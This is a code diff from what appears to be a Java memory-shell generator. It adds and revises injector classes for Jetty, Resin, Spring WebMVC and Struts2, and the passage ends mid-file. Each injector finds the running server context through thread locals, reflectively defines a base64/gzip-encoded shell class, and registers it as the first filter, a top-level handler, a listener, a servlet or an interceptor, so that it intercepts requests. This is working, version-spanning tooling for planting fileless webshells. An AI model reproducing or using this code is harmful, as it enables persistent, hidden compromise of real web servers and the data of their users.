 public class JettyFilterInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -33,16 +33,21 @@ public class JettyFilterInjector {
     }
 
     public JettyFilterInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +56,7 @@ public class JettyFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -78,68 +84,53 @@ public class JettyFilterInjector {
             return;
         }
 
-        String[] classNames = new String[]{
-                "org.eclipse.jetty.servlet.FilterHolder",
-                "org.eclipse.jetty.ee8.servlet.FilterHolder",
-                "org.eclipse.jetty.ee9.servlet.FilterHolder",
-                "org.eclipse.jetty.ee10.servlet.FilterHolder",
-                "org.eclipse.jetty.ee11.servlet.FilterHolder",
-                "org.mortbay.jetty.servlet.FilterHolder",
+        String[][] filterHolderClassNames = new String[][]{
+                new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
+                new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
+                new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
+                new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
+                new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
+                new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
         };
 
         Class<?> filterHolderClass = null;
+        Class<?> filterMappingClass = null;
 
-        for (String className : classNames) {
+        for (String[] classNames : filterHolderClassNames) {
             try {
-                filterHolderClass = context.getClass().getClassLoader().loadClass(className);
+                filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
+                filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
             } catch (ClassNotFoundException ignored) {
             }
         }
 
-        if (filterHolderClass == null) {
-            throw new ClassNotFoundException("FilterHodler");
+        if (filterHolderClass == null || filterMappingClass == null) {
+            throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
         }
 
         Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
         Object filterHolder = constructor.newInstance(filter.getClass());
         invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
-        moveFilterToFirst(servletHandler);
-        invokeMethod(servletHandler, "invalidateChainsCache");
-    }
 
-    private void moveFilterToFirst(Object servletHandler) throws Exception {
-        Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
-        ArrayList<Object> reorderedFilters = new ArrayList<Object>();
-        int filterLength;
+        invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
 
-        if (filterMaps.getClass().isArray()) {
-            filterLength = Array.getLength(filterMaps);
-            for (int i = 0; i < filterLength; i++) {
-                Object filter = Array.get(filterMaps, i);
-                String filterName = (String) getFieldValue(filter, "_filterName");
-                if (filterName.equals(getClassName())) {
-                    reorderedFilters.add(0, filter);
-                } else {
-                    reorderedFilters.add(filter);
-                }
-            }
-            for (int i = 0; i < filterLength; i++) {
-                Array.set(filterMaps, i, reorderedFilters.get(i));
-            }
-        } else if (filterMaps instanceof ArrayList) {
-            ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
-            for (Object filter : filterList) {
-                String filterName = (String) getFieldValue(filter, "_filterName");
-                if (filterName.equals(getClassName())) {
-                    reorderedFilters.add(0, filter);
-                } else {
-                    reorderedFilters.add(filter);
-                }
-            }
-            filterList.clear();
-            filterList.addAll(reorderedFilters);
+        Object filterMapping = filterMappingClass.getConstructor().newInstance();
+        invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
+
+        Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
+        Object[] newMappings = null;
+        int length = Array.getLength(mappings);
+        if (mappings == null || length == 0) {
+            newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
+        } else {
+            newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
+            System.arraycopy(mappings, 0, newMappings, 1, length);
         }
+        newMappings[0] = filterMapping;
+        invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
+        invokeMethod(servletHandler, "invalidateChainsCache");
     }
 
     @Override
@@ -154,8 +145,8 @@ public class JettyFilterInjector {
      * org.eclipse.jetty.ee9.webapp.WebAppContext
      * org.eclipse.jetty.ee10.webapp.WebAppContext
      */
-    private List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java

@@ -0,0 +1,254 @@
+package com.reajason.javaweb.memshell.injector.jetty;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+
+public class JettyHandlerInjector {
+
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public JettyHandlerInjector() {
+        if (ok) {
+            return;
+        }
+        Object server = null;
+        try {
+            server = getServer();
+        } catch (Throwable throwable) {
+            msg += "server error: " + getErrorMessage(throwable);
+        }
+        if (server == null) {
+            msg += "server not found";
+        } else {
+            try {
+                msg += ("server: [" + server + "] ");
+                Object shell = getShell(server);
+                inject(server, shell);
+                msg += "[/*] ready\n";
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    public void inject(Object server, Object handler) throws Exception {
+        Object nextHandler = getFieldValue(server, "_handler");
+        if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
+            return;
+        }
+        validateHandler(handler);
+        setFieldValue(handler, "nextHandler", nextHandler);
+        setFieldValue(handler, "_server", server);
+
+        setFieldValue(server, "_handler", handler);
+
+        // jetty6
+        try {
+            invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler});
+        } catch (Throwable ignored) {
+
+        }
+        // jetty 7/8/9/10/11/12
+        try {
+            invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true});
+        } catch (Throwable ignored) {
+        }
+    }
+
+    public void validateHandler(Object shell) throws Exception {
+        Class<?> handlerClass = shell.getClass().getSuperclass();
+        Method rightHandleMethod = null;
+        for (Method method : handlerClass.getMethods()) {
+            if (method.getName().equals("handle")) {
+                rightHandleMethod = method;
+            }
+        }
+        shell.getClass().getMethod(
+                "handle",
+                rightHandleMethod.getParameterTypes()
+        );
+    }
+
+    @Override
+    public String toString() {
+        return msg;
+    }
+
+    /**
+     * org.eclipse.jetty.server.Server
+     */
+    private Object getServer() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
+                for (int i = 0; i < Array.getLength(table); i++) {
+                    Object entry = Array.get(table, i);
+                    if (entry != null) {
+                        Object threadLocalValue = getFieldValue(entry, "value");
+                        if (threadLocalValue != null) {
+                            if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
+                                return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
+                            }
+                        }
+                    }
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        Class<?> clazz = null;
+        try {
+            clazz = classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        }
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return clazz.newInstance();
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+    public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (NoSuchMethodException e) {
+            throw e;
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.EventListener;
-import java.util.List;
-import java.util.Set;
+import java.util.*;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -19,19 +16,25 @@ import java.util.zip.GZIPInputStream;
  */
 public class JettyListenerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public JettyListenerInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -40,6 +43,7 @@ public class JettyListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -68,8 +72,8 @@ public class JettyListenerInjector {
         return "{{base64Str}}";
     }
 
-    private List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

@@ -6,6 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.*;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -16,7 +17,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class JettyServletInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -31,16 +33,21 @@ public class JettyServletInjector {
     }
 
     public JettyServletInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +56,7 @@ public class JettyServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -77,8 +85,8 @@ public class JettyServletInjector {
         }
     }
 
-    private List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class ResinFilterInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -29,16 +30,21 @@ public class ResinFilterInjector {
     }
 
     public ResinFilterInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -47,6 +53,7 @@ public class ResinFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -71,7 +78,7 @@ public class ResinFilterInjector {
      * com.caucho.server.webapp.Application
      * /usr/local/resin3/lib/resin.jar
      */
-    public List<Object> getContext() throws Exception {
+    public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
@@ -87,7 +94,7 @@ public class ResinFilterInjector {
                 contexts.add(webApp);
             }
         }
-        return Arrays.asList(contexts.toArray());
+        return contexts;
     }
 
     public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -129,6 +136,11 @@ public class ResinFilterInjector {
         invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
         invokeMethod(urlPattern, "init", null, null);
         invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
+
+        List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
+        filterMappings.remove(filterMappingImpl);
+        filterMappings.add(0, filterMappingImpl);
+
         invokeMethod(context, "clearCache", null, null);
     }
 
@@ -186,30 +198,25 @@ public class ResinFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java

@@ -17,7 +17,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class ResinListenerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -28,16 +29,21 @@ public class ResinListenerInjector {
     }
 
     public ResinListenerInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -46,6 +52,7 @@ public class ResinListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -66,7 +73,7 @@ public class ResinListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
+    public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
@@ -82,7 +89,7 @@ public class ResinListenerInjector {
                 contexts.add(webApp);
             }
         }
-        return Arrays.asList(contexts.toArray());
+        return contexts;
     }
 
     public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -175,30 +182,25 @@ public class ResinListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java

@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class ResinServletInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class ResinServletInjector {
     }
 
     public ResinServletInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += "context: [" + getContextRoot(context) + "] ";
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class ResinServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -68,7 +75,7 @@ public class ResinServletInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
+    public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
@@ -80,7 +87,7 @@ public class ResinServletInjector {
             } catch (Exception ignored) {
             }
         }
-        return Arrays.asList(contexts.toArray());
+        return contexts;
     }
 
     public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -176,30 +183,25 @@ public class ResinServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java

@@ -19,7 +19,7 @@ import java.util.zip.GZIPInputStream;
  */
 public class SpringWebFluxHandlerFunctionInjector {
 
-    private String msg = "";
+    private static String msg = "";
 
     public String getUrlPattern() {
         return "{{urlPattern}}";

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java

@@ -16,7 +16,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class SpringWebMvcControllerHandlerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -31,20 +32,28 @@ public class SpringWebMvcControllerHandlerInjector {
     }
 
     public SpringWebMvcControllerHandlerInjector() {
+        if (ok) {
+            return;
+        }
         Object context = null;
         try {
             context = getContext();
         } catch (Throwable e) {
             msg += "context error: " + getErrorMessage(e);
         }
-        try {
-            Object shell = getShell();
-            msg += "context: [" + context + "] ";
-            inject(context, shell);
-            msg += "[" + getUrlPattern() + "] ready\n";
-        } catch (Throwable e) {
-            msg += "failed " + getErrorMessage(e) + "\n";
+        if (context == null) {
+            msg += "context not found";
+        } else {
+            try {
+                Object shell = getShell();
+                msg += "context: [" + context + "] ";
+                inject(context, shell);
+                msg += "[" + getUrlPattern() + "] ready\n";
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
+            }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java

@@ -16,7 +16,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class SpringWebMvcInterceptorInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -27,20 +28,28 @@ public class SpringWebMvcInterceptorInjector {
     }
 
     public SpringWebMvcInterceptorInjector() {
+        if (ok) {
+            return;
+        }
         Object context = null;
         try {
             context = getContext();
         } catch (Throwable e) {
             msg += "context error: " + getErrorMessage(e);
         }
-        try {
-            Object shell = getShell();
-            msg += "context: [" + context + "] ";
-            inject(context, shell);
-            msg += "[/*] ready\n";
-        } catch (Throwable e) {
-            msg += "failed " + getErrorMessage(e) + "\n";
+        if (context == null) {
+            msg += "context not found";
+        } else {
+            try {
+                Object shell = getShell();
+                msg += "context: [" + context + "] ";
+                inject(context, shell);
+                msg += "[/*] ready\n";
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
+            }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java

@@ -0,0 +1,230 @@
+package com.reajason.javaweb.memshell.injector.struct2;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/8
+ */
+public class Struct2ActionInjector {
+
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public Struct2ActionInjector() {
+        if (ok) {
+            return;
+        }
+        Object context = null;
+        try {
+            context = getContext();
+        } catch (Throwable e) {
+            msg += "context error: " + getErrorMessage(e);
+        }
+        if (context == null) {
+            msg += "context not found";
+        } else {
+            try {
+                Object shell = getShell(context);
+                inject(context, shell);
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
